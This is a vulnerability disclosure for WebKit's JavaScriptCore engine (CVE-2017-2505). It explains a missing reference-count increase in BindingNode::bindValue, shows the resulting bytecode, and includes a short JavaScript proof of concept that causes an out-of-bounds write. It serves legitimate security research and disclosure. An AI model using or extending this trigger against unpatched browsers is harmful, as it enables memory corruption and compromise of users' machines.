WebKit: JSC: BindingNode::bindValue doesn't increase the scope's reference count CVE-2017-2505 Here's a snippet of BindingNode::bindValue. void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const { ... RegisterID* scope = generator.emitResolveScope(nullptr, var); generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd()); if (m_bindingContext == AssignmentContext::AssignmentExpression) generator.emitTDZCheckIfNecessary(var, nullptr, scope); if (isReadOnly) { generator.emitReadOnlyExceptionIfNeeded(var); return; } generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext)); generator.emitProfileType(value, var, divotStart(), divotEnd()); if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement) generator.liftTDZCheckIfPossible(var); ... } That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used. Generated opcode of the PoC: [ 124] resolve_scope loc13, loc3, a(@id4), , 0, 0x62d00011f1a0 [ 131] get_from_scope loc13, loc13, a(@id4), 1050627, 0 predicting None [ 139] op_check_tdz loc13 [ 141] put_to_scope loc13, a(@id4), loc12, 1050627, , 0 At 131, loc13 which points the scope is overwritten with |a|. At 141, |a| is used as a scope, and it causes OOB write. PoC: (function () { let a = { get val() { [...{a = 1.45}] = []; a.val.x; }, }; a.val; })(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt